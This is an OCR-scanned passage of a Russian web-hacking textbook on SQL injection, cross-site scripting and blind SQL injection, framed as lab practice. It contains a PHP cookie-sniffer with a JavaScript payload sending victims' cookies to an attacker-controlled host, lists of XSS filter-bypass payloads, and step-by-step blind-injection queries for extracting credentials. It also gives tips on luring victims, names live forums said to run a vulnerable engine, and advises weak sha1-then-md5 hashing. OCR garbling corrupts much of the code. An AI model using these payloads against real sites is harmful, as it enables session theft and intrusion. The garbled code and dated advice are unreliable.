64 05. SQL-инъекция header ("Location: http://$_SERVER[HTTP_HOST]/H); // Переход на главную // страницу exit О; } else { ... // Продолжаем работу } Если ваш сайт не содержит разделов, в которых производится запись или редактирование строк в базе данных, то необходимо у пользователя базы данных оставить только право на чтение данных (по умолчанию у пользователя базы данных есть права и на удаление, и на редактирование). А для разделов сайта, требующих более широких прав (например, для книги отзывов или форума), следует завести отдельного пользователя, у которого будет право на редактирование только конкретной таблицы. Что же касается системы управления сайтом (CMS), то здесь также необходимо создать отдельного пользователя базы данных с полным набором прав. Никогда не храните пароли на доступ к базе данных в открытом виде, обязательно хэшируйте их (лучше нестандартным образом, например, с использованием функции shal, а затем — функции md5). Как вы уже знаете, с помощью SQL- инъекции легко извлечь эту информацию из базы данных, однако, если хорошо зашифровать информацию, есть большая вероятность того, что хакер не сможет ею воспользоваться. Решение проблем с кодировкой У хакера проблемы с кодировкой возникают, если на сайте применяется национальная кодировка. Предположим, хакер подобрал число столбцов на некотором сайте и пытается узнать имя пользователя mysql: http://www.site.net/module.php?id=-l union select 1.2.user().4 -- Однако вместо желаемого результата хакер получает ошибку типа ERROR 1267 : Illegal mix of collations (latinl_swedish_ci.IMPLICIT) and (utf8_ general_ci.SYSCONST) for operation 'UNION' Эта ошибка возникла потому, что данные, возвращаемые из базы данных сайта, имеют кодировку latinlswedish, а данные, возвращаемые функцией userO, — кодировку utf8_general. В результате MySQL «ругается», выводя сообщение о том, что нельзя смешивать в операции UNION эти кодировки. Чтобы устранить конфликт, достаточно преобразовать в кодировку latinl результат выполнения функции user() при помощи функции convert(): convert(user() using latinl) Тогда запрос примет следующий вид: http://www.site.net/module.php?id=-l union select 1,2. convert(user() using latinl),4 -- Этот запрос выполнится без ошибки и выведет имя пользователя.
Вместо послесловия к главе 05 65 В этой главе мы рассмотрели SQL-инъекцию в системе управления базами данных MySQL, а описание SQL-инъекции для MS SQL можно найти в приложении 5. Вместо послесловия к главе 05 Рекомендую читателям ознакомиться с приложениями 2, 3 и 4, посвященным теперь уже знакомому вам форумному движку Cyphor. В двух приложениях (2 и 4) развита тема SQL-инъекции в Cyphor. Еще в одном (3) описана открытая мною уязвимость паролей СурЬбг, использовать которую можно, опираясь на результаты проведения SQL-инъекции (приложение 3 будет интересно тем, кто программирует на языке РНР). Может, вы думаете, что Cyphor — это устаревший движок для форума и поэтому информация о нем не актуальна? Да, прошло несколько лет с момента его написания, авторами он уже не поддерживается (новые версии не выпускаются). Но составьте в google.com следующий запрос, и, помимо информации об уязви- мостях Cyphor, на первых же страницах вы найдете множество форумов, по сей день работающих на этом движке, особенно немецкоязычных: Cyphor (Release: 0.19, PHP) Вот примеры этих форумов: http://www.914-6-club.de/foren/cyphor-0.19/index.php http://www.cantus.org/forum/cyphor/ http://www.vergolderi nnung.de/cyphor/i ndex.php http://forums.thecommonspace.org/show.php?fid=3 http://www.trabi-web.de/forum/php/forum/show.php?fid=2 http://bi gdaddy.rhoen.de/cyphor/show.php?fi d=12&i d=137 http://www.sw-gli en.de/forum/i ndex.php http://www.bps-hela.de/sagwas/forum/i ndex.php http://imauftragdesherrn.de/forum/i ndex.php http://bi11ard-rhi now.de/html/cyphor/i ndex.php и так далее... Движок Cyphor подвержен не только SQL-инъекции, но и межсайтовому скрип- тингу (XSS), который мы рассмотрим уже в следующей главе. Так что отыскивайте инфбрмацию в Интернете, пробуйте, экспериментируйте (но, конечно, только на своем компьютере).
Межсайтовый скриптинг Межсайтовый скриптинг (Cross-Site Scripting, XSS) — это такой тип уязвимости интерактивных информационных систем, при котором в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Аббревиатурой межсайтового скриптинга являются символы XSS, а не CSS, как можно было бы ожидать, чтобы не было путаницы, так как сокращение CSS уже занято каскадными таблицам стилей (Cascade Style Sheets), которые используются при написании кода сайтов. Буква «X» в сокращении XSS символизирует пересечение, или крест (по-английски — cross), так что, я думаю, вы поняли, откуда она взялась. Уязвимость типа XSS представляет собой вставку произвольного HTML/ JavaScript/VBScript-кода в результат работы сценария в тех случаях, когда сценарий не фильтрует поступившие от пользователя данные. Данный тип атак интересен тем, что вредоносный скрипт с сервера выполняется на компьютере клиента, причем вызывает его сама жертва. Существует два вида межсайтового скриптинга: пассивный и активный. Обе эти разновидности подробно рассматриваются чуть позже. Исторически сложилось так, что программисты и администраторы недооценивают данный тип атак, поэтому многие продукты сейчас страдают от межсайтового скриптинга. Хотя хакеры не всегда использурт XSS, на самом деле это — очень опасный тип уязвимости. Области применения XSS Чаще всего межсайтовый скриптинг применяется для воровства cookie-файлов и перехвата сессий. Что такое cookie (читается «куки»)? Это файл с информацией о текущем пользователе, создаваемый сайтом на компьютере клиента. Именно благодаря cookie- файлам сайт «узнает» вас и не заставляет заново вводить пароль при просмотре каждой странички. Если путем межсайтового скриптинга хакер утащит cookie- 0Ь
Пассивный межсайтовый скриптинг 67 файл администратора, то, поместив его в соответствующую папку на своем компьютере, сможет зайти на сайт в качестве администратора без ввода логина и пароля. Однако возможна и просто безобидная шутка типа выскакивающего окошка с надписью «Hacked by V.Pupkin». Есть и другие области применения XSS, например заражение вирусом массы пользователей (через уязвимость в браузере). Массовое заражение также может быть осуществлено, если хакер напишет трояна или червя на JavaScript или VBScript. Тогда он может поместить вредоносный код на какой-нибудь странице уязвимого сайта. Соответственно, все, кто зайдет на эту страницу, заразятся. Известны случаи, когда через XSS-уязвимости на популярных сайтах массово распространялись XSS-черви. Кроме того, межсайтовый скриптинг может использоваться для полного контроля над браузером жертвы в реальном времени. Пассивный межсайтовый скриптинг Пассивный межсайтовый скриптинг срабатывает только при передаче пользователем определенных данных, то есть при атаке хакеру нужно каким-либо образом заставить пользователя вызвать XSS. Данный вид XSS чреват разоблачением хакера, так как пользователь может заподозрить что-то неладное, просто посмотрев на ссылку с опасным кодом. Еще данный способ неудобен в реализации из-за того, что ссылки получаются слишком длинные. Поэтому, если хакер собирается подсунуть такую ссылку администратору сайта или просто опытному пользователю, тот вряд ли по ней проследует. Давайте изучим пассивный межсайтовый скриптинг на примере поиска по сайту. Допустим, скрипту, реализующему такой поиск, передается поисковый запрос через параметр search, причем данный параметр скриптом не фильтруется. Плюс ко всему заданный скрипту запрос отображается на страничке результатов. Тогда ссылка должна быть такой: script.php?search=OcK0Mafl строка] Соответственно, хакеру нужно отправить ссылку с html-кодом вместо значения параметра, например: script.php?search=<b>Hacked</b> Если удастся заставить пользователя перейти по этой ссылке, то он увидит страницу, на которой жирным шрифтом будет выведено слово «Hacked». Можете также задействовать другие теги, например <marquee> и </marquee>, тогда текст будет отображаться как бегущая строка, или <hl> и </hl>, чтобы текст выводился крупными буквами. На первый взгляд кажется, что заставить пользователя перейти по ссылке не просто, но на помощь приходят приемы социальной инженерии. Если хакеру удастся войти в доверие пользователю, достаточно просто сказать, что там расположена какая-то картинка или еще что-нибудь интересное.
68 Об. Межсайтовый скриптинг Вместо кода <b>Hacked</b> хакер может написать код перехвата сессии или кражи cookie (об этом — позже). Чтобы не вызвать подозрений у пользователя, можно всю ссылку, или хотя бы угловые скобки, заменить шестнадцатеричными кодами символов (ХЗс — это открывающая угловая скобка, %3е — закрывающая): script.php?search=*3cmarquee*3eHacked?3c/marquee*3e Обратите внимание на то, что в следующей ссылке значение параметра передается методом GET: script.php?search=<b>Hacked</b> Если хакер даст пользователю опасную ссылку на скрипт, который принимает данные методом POST, то ничего не выйдет. Для этого придется писать html- форму, которая методом POST отправляет данные пользователя скрипту. Когда пользователь зайдет на страничку хакера, то сработает JavaScript-код, который тут же отправит пользователя на уязвимый сайт и передаст нужные параметры сценарию. Активный межсайтовый скриптинг Активный межсайтовый скриптинг заключается в непосредственной вставке html-кода. Он лучше пассивного тем, что не требует от пользователя тем или иным образом выполнить XSS-скрипт. Достаточно, чтобы пользователь тем или иным путем зашел на определенную страницу, где уже имеется опасный html-код, вставленный взломщиком посредством активного межсайтового скриптинга. Данный вид XSS-атак является самым опасным и при этом почти незаметным. Активный межсайтовый скриптинг широко применяется в различных форумах и блогах. То есть там, где пользователь имеет возможность оставлять свои сообщения, которые видит множество посетителей. Чтобы сама техника атаки была понятна, рассмотрим для примера гостевую книгу, которая сохраняет в базе данных (или в'файле) отзывы посетителей сайта. При выполнении главного скрипта отображаются все записи из таблицы отзывов (а вместе с ними и «отзыв» с вставленным в него вредоносным кодом). Если программист, написавший гостевую книгу, не позаботился о фильтрации html-тегов, то в текст отзыва можно без проблем вставить определенный html- код, который сохранится в базе и будет выполняться каждый раз, когда любой пользователь просмотрит все отзывы. Например, текст отзыва может быть таким: Теги не фильтруются <script>alert('Hacked by Vasya!')</script>. сайт уязвим для XSS Этот код выведет в браузере пользователя окно с надписью «Hacked by Vasya!».
Пример мини-приложения, уязвимого для XSS 69 Чаще всего данному типу XSS-атак подвержены форумы, кроме того, уязвимы любые скрипты, в которых используется множество переменных, и за каждой очень трудно уследить, проверяя, фильтруется ли она должным образом. Пример мини-приложения, уязвимого для XSS Сейчас мы создадим мини-приложение, уязвимое для XSS. В редакторе создайте файл name.php со следующими командами: <?php $пате=$_СЕТ['пате']: echo "Your name is $name"; ?> Сохраните его в каталоге /usr/local/apache/htdocs. В том же каталоге создайте файл form.html с таким кодом: <form action="name.php" method="GET"> <input type=text name="name"> <input type=submit value="0K"> </form> Форма будет принимать вводимую строку и по щелчку на кнопке О К передавать ее текст в качестве параметра (name) программе name.php. Откройте в браузере форму http://localhost/form.html (рис. 06.1), введите имя (например, Vasya) и щелкните на кнопке ОК. I location Edit View ?o bookmarks Tools «Settings I yVindow Help N 4 4 - * I E> Location ^http>7localho5t/form html » J I L_ .— I I: HZDH I Page loaded Рис. 06.1. Созданная нами форма ввода form.html Модуль name.php отобразит введенное вами имя, как показано на рис. 06.2. Теперь, если снова открыть форму form.html и вместо имени ввести код <hl>Hacked<hl>, крупными буквами будет выведено слово «Hacked», как показано на рис. 06.3.
70 06. Межсайтовый скриптинг CI —1 НИИ 1 II — location ?dit ^iew go bookmarks loots Settings Help 4 V 4 " & location: jggj http://localhost/namephp'name=Va&ya Your name is Vasya [Page loaded. Window 1 » S3 - у Рис. 06.2. Результат работы модуля name.php — вывод имени пользователя 1 location. ?dtt View Go gookmarks loots Settings. Window 4 % 4 ^ I E> Location. .^http./,1ocalhost'namephp?narne=%3Chl%3EHacke 1 Your name is Hacked 1 Page loaded Help — ¦ \ Рис. Э6.3. Результат работы модуля name.php — html-теги не фильтруются Это означает, что html-теги (в нашем случае теги <hl> и </hl>, заставляющие печатать заключенный между ними текст крупными буквами) не фильтруются, а просто включаются в текст веб-странички, генерируемой модулем name.php. Теперь — самое интересное: попробуем выполнить в браузере маленький сценарий на языке JavaScript. На страничке form.html в поле ввода введите <script>alertС Hacked by Vasya')</script> Здесь теги <script> и </script> задают начало и конец скрипта (сценария), а функция alert() выводит текст в отдельном окне в виде предупреждения. Если вы все набрали без ошибок, то щелкнув на кнопке О К, увидите результат, показанный на рис. 06.4. Если мы передадим жертве готовую ссылку (из поля Location) и жертва перейдет по ней, то сценарий выполнится именно в браузере человека, открывшего ссылку (а не на сайте). То есть теоретически хакер может творить на чужом компьютере всякие бесчинства, например запускать те или иные вредоносные программы. (На практике не все так просто, потому что антивирусные пакеты обычно распознают и блокируют вредоносные сценарии.) С помощью специально подготовленного сценария можно «утянуть» с компьютера жертвы ее cookie-файлы. Мы же просто просмотрим содержимое cookie, введя сценарий <script>alert(document.cookie)</script>
Пример мини-приложения, уязвимого для XSS 71 location ?dit View ?o fcoo ЕЭ> Location {[fa scnpt%3Eal« Your name is шшшшшшввш Hacked by Vasya [localhost contacted Waiting fc< Help Щ b2Fscript%3f - ,. Рис. 06.4. Выполнение сценария хакера в браузере жертвы А если вы из системы Damn Vulnerable Linux посещали сайты, использующие cookie, у вас отобразится что-то наподобие показанного на рис. 06.5. Рис. 06.5. Просмотр содержимого cookie В реальности, конечно, хакеру нужно не показывать содержимое cookie-файла пользователю, а незаметно переслать его на свой компьютер. Сейчас мы попробуем написать такой JavaScript-код, который при вставке в форму нашего приложения отправляет cookie-файлы жертвы хакерскому php-скрипту (он называется php-снифером), а тот, в свою очередь, сохраняет их в текстовом файле на хакер- ском сервере. Хотя сейчас можно воспользоваться готовым онлайн-снифером, мы напишем свой php-снифер и задействуем его для кражи cookie. Комментарии набирать не надо (все равно русский язык в DVL не поддерживается), они здесь вставлены просто для пояснения работы программы. <? $query = $_SERVER[,QUERY_STRING']; // эта часть скрипта принимает // украденные cookie, переданные JavaScript'ом // каждая запись производится с новой строки // здесь мы указали файл, куда будет // производиться запись полученных cookie // открываем файл для записи, запись всегда будет // производиться в конец файла // (новые cookie будут добавляться к старым) // записываем cookie в файл // после записи закрываем файл Squery .= "\п"; $db='7tmp/cookies.txt"; $fh=fopen ($db. "a*"); fputs ($fh, "Squery"); fclose ($fh); Этот код php-снифера будет принимать в виде параметра cookie-файлы жертвы и сохранять их в файле cookies.txt. Теперь нужно загрузить снифер на хост
72 06. Межсайтовый скриптинг в Интернете, к которому есть доступ у хакера. В нашем случае просто сохраняем его в каталоге/usr/local/apache/htdocs под именем steal.php. Cookie-файлы будем сохранять в каталоге /tmp, потому что туда есть доступ на запись всем пользователям, а в каталоге /usr/local/apache/htdocs у пользователя nobody, под именем которого работает веб-сервер, нет прав на запись. В реальной жизни следует создать на своем сайте папку, к которой есть доступ на запись у пользователя nobody. Создаем сам JavaScript-код для вставки в строку формы по образцу: <scri pt>document.1ocati on.replace('http://ваш_сайт/ваш_снифер.php?com='+document. cookie);</script> Разберем образец подробнее: О document.location.replace — перенаправление украденных cookie-файлов на наш снифер. О ' http: / / ваш_сайтп/вашснифер. php — адрес нашего снифера. О ?com=' +document. cooki е — вроде бы присваивание переменной сот украденных cookie-файлов, но на самом деле в скрипте снифера такой переменной нет, и он пишет в файл всю строку после знака ? (из переменной QUERYSTRING), поэтому у нас каждый присланный cookie-фрагмент, сохраняемый в файл, будет начинаться с символов сот=. Если захотите использовать cookie непосредственно в браузере, не забудьте удалить эти лишние символы. После выполнения этого скрипта cookie-файлы будут отосланы на ваш веб-сервер и записаны в файл cookies.txt. В нашем случае мы вводим в поле формы form.html следующую строку: <scri pt>document.1ocati on.replace('http://1ocalhost/steal.php?com='+document. cookie):</script> После щелчка на кнопке ОК наш скрипт у пользователя сработает, и на нашем сервере выполнится снифер steal.php. Далее заходим в каталог/tmp и командой cat cookies .txt выводим на экран содержимое файла cookies.txt с cookie-файлами (рис. 06.6). Рис. 06.6. Украденные cookie-файлы В реальной жизни хакер преобразует наш запрос в шестнадцатеричные значения или в кодировку base64, чтобы жертва ничего не заподозрила. После этого хакер может «впаривать» ссылку жертве. А это уже дело социальной инженерии.
Пример мини-приложения, уязвимого для XSS 73 Можно сказать объекту, что скрипт поднимает рейтинг в социальных сетях, позволяет писать личные сообщения какой-то обожаемой им знаменитости и т. п. Далее предполагается, что жертва щелкает на ссылке и в файл cookies.txt записываются cookie-файлы жертвы. Их можно попытаться расшифровать (например, в онлайн-сервисе для расшифровки тс15-хэшей, о котором я писал в главе 03, или с помощью одной из программ, описанных в главе ОС). Либо можно использовать cookie-файлы в исходном виде, вместо «ослика IE» (то есть Internet Explorer) применяя Opera или FireFox. Разумеется, все это я вам рассказал в целях ознакомления и защиты от подобных манипуляций хакеров, а не для применения на практике. Сейчас вспомнил (и улыбнулся), как много лет назад я развлекался в чате «Кроватка», вставляя в свои сообщения вызов стандартных скриптов чата (я узнал их имена, просто изучая исходный текст html-странички). В то время в «Кроватке» режим разрешения либо частичного или полного запрета тегов выбирался самим пользователем. В результате все те, у кого были разрешены любые теги, получали, по моей милости, например, приглашения в приват от неких популярных чат- теров, которые, естественно, на самом деле никаких приглашений не посылали. Передавая одновременно приглашения от имени друг друга выбранным мной парню и девушке, я как бы занимался виртуальным «сводничеством», и зачастую те (немножко недоумевая по поводу того, кто кого первый пригласил) действительно уединялись в приват. А когда одна девушка в общем чате пожаловалась, что никто не хочет с ней общаться, я тотчас сделал так, что ее одновременно пригласили (якобы) в приват все те присутствующие, у кого было разрешено выполнение сценариев (а таких оказалось более десятка). То-то она обрадовалась! © Вот такое своеобразное чувство юмора у некоторых администраторов компьютерной безопасности... Разумеется, сейчас автор ни за что не стал бы повторять такие шалости, да и html-теги в чатах уже давно и повсеместно фильтруются. Как вы уже поняли, пример нашего уязвимого мини-приложения относится к пассивному межсайтовому скриптингу, а пример с чатом «Кроватка» — к активному. Посредством XSS можно также подсмотреть исходный html-код странички. Для этого используется следующая функция: function ShowPage(){ // В переменную page помещаем все свойства тега <html> var page=document.getElementByldC"html"); // а теперь в переменную CodeOfPage помещаем код страницы var CodeOfPage=page.innerHTML; // выводим код страницы вызовом alertO alert(CodeOfPage); } Когда будете вводить это в браузере, удалите комментарии, начинающиеся с символов //, и запишите все в одну строку.
74 06. Межсайтовый скриптинг Как хакеры обходят механизм фильтрации тега <script> Что делать хакеру, если тег <scri pt> фильтруется? Многие программисты боятся тега <script> и поэтому его фильтруют. Но, даже если он фильтруется, есть еще много тегов, через которые можно провести XSS-скрипт. Это теги, в которых допустимо использование опции javascript (или vbscript). Сейчас для краткости мы рассмотрим только вывод сообщения (alert), хотя на самом деле в страницу можно включить любой сценарий. Все теги, которые можно использовать для межсайтового скриптинга, делятся на две группы: О теги, которые нормально работают в любых браузерах; О теги, которые работают только в Internet Explorer. Давайте сначала рассмотрим теги, которые обрабатываются всеми браузерами. О <МЕТА>. Служит для индексирования страницы поисковиками, но нам нужно не это. У тега <МЕТА> есть свойство refresh, где в параметре CONTENT можно указать произвольный код: <МЕТА HTTP-EQUIV="refresh" CONTENT=n0:url=javascript:alert('XSS'):"> О <B0DY>. Это всем известный тег: <B0DY BACKGROUND=,,javascript:alert(,XSS')" > У него есть свойство OnLoad, которое выполняется при загрузке страницы. В это свойство можно вставить JavaScript-код следующим образом: <B0DY ONLOAD=alert('XSS,)> О <IMG>. Для межсайтового скриптинга может использоваться свойство SRC: <IMG SRC="javascript:alert('XSS')"> Но что делать, если слово javascript фильтруется? Можно попробовать обойти фильтрацию следующим способом: <IMG SRC="javascript:alert(,XSS,)"> Вот еще несколько вариантов: <IMG SRC=javascript:alert('XSS,)> <IMG SRC=javascript:alertCXSS")> <IMG SRC=" javascript:alertСXSS');"> Можно также использовать язык VBScript: <IMG SRC='vbscript:msgbox("XSS")'> О <STYLE>. О данном теге для IE мы поговорим позже, а вот вариант, который работает, во всех браузерах: <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
Как хакеры обходят механизм фильтрации тега <script> 75 Теперь рассмотрим теги, которые правильно обрабатываются только в Internet Explorer. О <TABLE>. Данный тег служит для создания таблиц. У него есть свойство BACKGROUND, отвечающее за фон таблицы. Опасность этого тега в том, что вместо фона можно ввести JavaScript-код: <TABLE BACKGROUND=,,javascript:alert('XSS' )"> О <DIV>. Данный тег служит контейнером для текста. К тексту, заключенному внутрь тегов <div> и </div>, может быть применен определенный стиль. Вот пример: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Есть и еще один вариант, где вместо url () используется функция expression): <DIV STYLE="width: expression(alert('XSS'));"> О <STYLE>. Этот тег задает правила оформления элементов, находящихся внутри тегов <STYLE> и </STYLE>. Вот первый вариант использования: <STYLE>.XSS{background-image:url( "javascript:alert('Hacked')"):}</STYLE><A CLASS=XSS></A> Здесь сначала объявляется класс XSS (в нем расположен XSS-код), а затем он вызывается с помощью кода <А CLASS=XSS></A> Второй вариант: <STYLE> type="text/css">BODY{background:url( "javascript:alert('Hacked')")} </STYLE> В этом варианте наш XSS-код указывается как фоновое изображение страницы. О <BGS0UND>. Данный тег позволяет задать фоновый звук страницы, однако вместо звукового файла можно указать JavaScript-код: <BGS0UND SRO" javascri pt: al ert (' XSS'): "> О <IMG>. Этот тег применяется для вставки изображений на страничку. Есть два свойства этого тега, которые обрабатываются только браузером Internet Explorer. Это свойства DYNSRC и L0WSRC. В их значении может быть указан код скрипта: <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC=,,javascript:alert('XSS,),,> Таким же образом можно указать код в свойстве SRC для любых браузеров, о чем я рассказал ранее. О <0BJECT>. Данный тег внедряет определенный объект в html-страницу. Вставка удаленного JavaScript-кода возможна следующим способом: OBJECT TYPE="text/x-scriptlet" DATA= "http://www.site.com/test.html"></0BJECT>
76 06. Межсайтовый скриптинг Здесь мы указали адрес страницы, на которой может находиться опасный код. Этот тег может использоваться для заражения множества клиентов. Взломщик легко может вставить ссылку на свою страницу с кодом трояна. При открытии уязвимой страницы код трояна будет загружаться с другого сайта. Это облегчает задачу, когда через XSS пытаются заразить пользователей нескольких сайтов. И в завершение перечислим несколько возможных причин неработоспособности XSS: О У клиента JavaScript-код может блокироваться браузером или брандмауэром. О У клиента может блокироваться VBScript-код. О У клиента могут блокироваться внешние объекты (что мешает загрузке сценариев с другого сайта). О XSS-скрипты с тегом <IMG> не работают в браузере Fire Fox. СОВЕТ В DVL есть и другие учебные примеры, в том числе по XSS. Найти их можно через браузер по адресу http://localhost/webexploitation_package_01/. Рассматривайте их как простые дополнительные упражнения после всего того, что вы узнали в этой главе.
Слепая SQL-инъекция Слепую SQL-инъекцию мы рассмотрим на примере СУБД MySQL, хотя та же идея работает в MS SQL и в иных СУБД. При слепой инъекции вы видите не извлекаемые данные, а только ответ сервера. По сравнению с обычной инъекцией реализация слепой инъекции немного сложнее и требует больше времени, но, если в инъекции несколько предложений SELECT и нельзя использовать ключевое слово UNION, слепая инъекция является оптимальной для хакера. Сначала рассмотрим, как можно «вытащить» версию MySQL, как угадать имена таблиц и столбцов и как затем извлечь данные из столбцов базы. Как и ранее, мы будем пытаться поставить себя на место хакера. Не пытайтесь использовать комментарий (то есть символы - или /*), когда выполняете слепую инъекцию, это обычно не нужно и может лишь испортить дело. Если вы все же задействуете комментарий, как в случае с оператором INSERT (см. далее), нужно позаботиться о том, чтобы вместо закомментированных значений в базу записывались другие. Существуют средства для автоматизации слепых инъекций, но лучше знать, как такая инъекция работает, и уметь реализовать ее вручную. К тому же часто удобнее сделать начальную часть работы вручную, а потом использовать автоматизированное средство, чтобы извлечь содержимое из столбца. Извлечение данных вслепую — дело небыстрое и достаточно трудоемкое даже при автоматизации, но, когда нет других доступных вариантов, это оптимальный метод взлома сайтов. Мы будем использовать в примере несуществующий адрес http://site.com/news.php?i d=12 Предположим, что при попытке перейти по этому адресу мы увидели новостную статью с заголовком и содержимым. Чтобы проверить возможность слепой инъекции, вводится следующее: news.php?id=12 and 1=1 07
78 07. Слепая SQL-инъекция При этом мы должны увидеть ту же страничку, что и раньше. Далее пробуем такой вариант: news.php?id=12 and 1=2 В случае успешной инъекции вы увидите, что часть содержимого пропадет. Это может сразу бросится в глаза, например, если не отобразится текст статьи, или может быть менее заметным, например, если пропадет только заголовок или уменьшится количество страниц в статье. Можете пощелкать на кнопках Назад и Вперед в браузере, чтобы заметить различия. Если наша инъекция проводится со строковой переменной, вместо предыдущих нужно использовать такие строки: news.php?id=12' and l='l news.php?id=12' and 1='2 Это позволит убрать синтаксическую ошибку. Для нашего случая предположим, что заголовок или содержимое статьи исчезает, когда мы вводим символы 1=2, и ничего не исчезает, если мы вводим символы 1=1. То есть вводимое нами условие влияет на возвращаемые данные. Если условие истинно, данные возвращаются (как в случае варианта 1=1), а если ложно — нет (как в случае варианта 1=2). Так что мы будем задавать условия, которые либо истинны, либо ложны, а узнавать, что они истинны, мы сможем по возвращению содержимого страницы, или что они ложны — по невозвращению. Мы будем говорить, что «страница загрузилась нормально» при получении данных из базы. Получение номера версии MySQL с помощью переменной ©©version Сначала нужно выяснить номер версии MySQL. Это поможет узнать доступные команды, так как версии MySQL имеют различия. Запрос должен выглядеть следующим образом: news.php?id=12 and substring(@@version,l.l)=4 Здесь берется первый символ из переменной Aversion и проверятся на равенство четырем (=4). Если это равенство справедливо, мы увидим статью новостей, в противном случае мы увидим неполную страницу, как было в варианте 1=2. Поскольку в странице не хватает содержимого, меняем 4 на 5 и пробуем снова. Если на этот раз страница загрузится нормально, значит, мы имеем дело с MySQL5. Если 4 и 5 не срабатывают, попробуйте 3. Если выяснится, что это версия MySQL3, то получить какие-либо данные будет почти невозможно, поскольку в этой версии подзапросы SELECT и оператор UNION недопустимы. ПРИМЕЧАНИЕ Вместо переменной @@version можно попробовать вызвать функцию versionQ.
Угадывание имен столбцов в найденной таблице 79 Проверка возможности доступа к таблице mysql.user Следующее, что мы делаем, — проверяем возможность использования подзапроса, поскольку иногда ключевое слово select бывает занесено в черный список: news.php?id=12 and (select 1)=1 Если этот подзапрос сработает, вы увидите нормально загружающуюся страницу. Далее посмотрим, являемся ли мы достаточно привилегированным пользователем, чтобы иметь доступ к таблице mysql. user: news.php?id=12 and (SELECT 1 from mysql.user limit 0.1)=1 Если у нас есть доступ к таблице mysql. user, запрос вернет значение 1, если нет, то будет ошибка, и ничего не возвратится. Так что, если страница загружается нормально, это означает, что у нас есть доступ к mysql. user, и позже можно будет попытаться извлечь хэши паролей MySQL или использовать функции loadfi 1е() и 0UTFILE. Обратите внимание на то, что мы ограничили количество возвращаемых записей с помощью конструкции 1 imit 0.1, поскольку вложенные запросы могут возвращать только одну запись с данными; в противном случае они вызовут ошибку и не сработают. Так что не забудьте обязательно задействовать ключевое слово limit. Угадывание имен таблиц В нашем примере мы имеем дело с версией MySQL5, однако извлечение данных из базы informationschema при слепой атаке происходит очень медленно, поэтому иногда имеет смысл попробовать просто угадать названия некоторых таблиц. Например, в следующем запросе делается попытка извлечь данные из таблицы users: news.php?id=12 and (SELECT 1 from users limit 0.1)=1 Если в базе есть таблица с именем users, страничка загрузится нормально. Далее нужно просто менять название таблицы, пытаясь его угадать. Если же вы работаете с версией MySQL4, нужно будет угадывать имена таблиц и столбцов. Угадывание имен столбцов в найденной таблице Если вам повезло и вы угадали правильные имена каких-либо таблиц, можно попробовать угадать имена столбцов в этих таблицах. Предположим, таблица users
80 07. Слепая SQL-инъекция в нашем примере уже найдена, тогда можно попытаться выполнить следующий запрос: news.php?id=12 and (SELECT substring( сопсаШ,password). 1.1) from users limit 0.1 )=1 Здесь мы добавили к строке ' 1' содержимое столбца password, затем вызвали функцию substring (выделение части строки), взяли только первый символ, который должен быть равен 1, если столбец password существует. Далее просто меняйте название password, чтобы попытаться угадать имена столбцов. Извлечение данных из найденных таблиц/столбцов Поскольку извлечение данных из таблиц может отнять немало времени, здесь полезно использовать автоматизацию, однако знание того, как это делается вручную, поможет вам лучше понять механизм слепой SQL-инъекции. Мы будем извлекать имя пользователя (username) и пароль (password) из таблицы users. Допустим, ранее мы выяснили, что в таблице существуют столбцы username, password, email и userid. Теперь попытаемся извлечь имя (username) и пароль (password) конкретного пользователя с помощью условия where: news.php?id=12 and ascii(substring((SELECT concat( username.0x3a,password) from users where userid=2),l.1))>100 Можно также попытаться использовать ограничение 1 imit 0.1, чтобы извлечь данные первого пользователя, поскольку подзапросы должны возвращать только одну запись, иначе будет ошибка. Это неплохая идея, если вы не знаете, сколько записей вернет запрос. Кроме того, наш подзапрос select заключен в вызов функции substring( .1.1), которая урезает возвращаемые данные до одного первого символа. Потом функция ascii () преобразует этот один символ в его числовой ASCII-код, который затем проверяется на условие > 100. Так что если в приведенном примере ASCII-код этого символа больше, чем 100, то страница загрузится нормально. Если в нашем случае страница не загрузится полностью, это будет означать, что код первого символа меньше 100 и нужна новая проверка: news.php?id=12 and ascii(substring((SELECT concat( username.0x3a.password) from users where userid=2).l.l))>80 Если страница загрузится нормально, значит, код символа больше 80. Далее пробуем большие значения: news.php?id=12 and ascii(substring((SELECT concat( username.0x3a.password) from users where userid=2).l.l))>90 Если не получается, пробуем значение поменьше: news.php?id=12 and ascii(substring((SELECT concat( username.0x3a.password) from users where userid=2).1.1))>85
Извлечение данных из найденных таблиц/столбцов 81 Если получается, увеличиваем значение: news.php?id=12 and ascii(substringC(SELECT concat( username.0x3a,password) from users where userid=2),1.1))>86 Если на этот раз опять не получается, значит, все просто. Сейчас у нас число, большее 85, но не большее 86, то есть это число 86! Чтобы убедиться в этом, можете проверить условие =86. Далее, используя преобразователь ASCII-кодов (функцию char(86)), узнаем, что первая буква возвращенного из базы результата — это V. СОВЕТ Чтобы узнать символ по его ASCII-коду, не обязательно прибегать к функции char(). В консоли Linux можно задать команду man ascii и она выдаст на экран всю таблицу символов и их коды. Чтобы получить следующий символ, модифицируем функцию substring: news.php?id=12 and ascii(substringC(SELECT concat( username.0x3a,password) from users where userid=2),2.1))>100 Мы заменили в вызове функции substri ng символы ,1.1 символами ,2,1, чтобы она возвращала второй символ из результата выполнения запроса select. Далее повторяется та же процедура, что и для первого символа. Пусть на этот раз условие >100 истинно, так что увеличиваем число: news.php?id=12 and ascii(substringC(SELECT concat( username,0x3a.password) from users where userid=2),2,l))>120 Если нет, уменьшаем его до 110: news.php?id=12 and ascii(substring((SELECT concat( username.0x3a.password) from users where userid=2),2.1))>110 Если опять нет, делаем его еще меньше: news.php?id=12 and ascii(substring((SELECT concat( username.0x3a,password) from users where userid=2),2,l))>105 И еще меньше: news.php?id=12 and ascii(substringC(SELECT concat( username.0x3a,password) from users where userid=2).2,l))>103 Пусть на этот раз условие истинно. Тогда увеличиваем число: news.php?id=12 and ascii(substring((SELECT concat( username,0x3a.password) from users where userid=2).2,l))>104 Если условие истинно, это означает, что число больше 104 и не больше 105, то есть искомое число — 105. Вызов char(105) дает букву i. Так что пока имеем словосочетание Vi. Как вы заметили, за 11 запросов к базе мы узнали только два символа. И это еще нам везло при угадывании. Ну а далее аналогичным способом (с помощью функции substring) угадывается следующий символ, пока, в конце концов, условие >0 не станет ложным. Надеюсь, теперь вам понятно, что извлечение пар user/password может быть весьма затратным по времени.
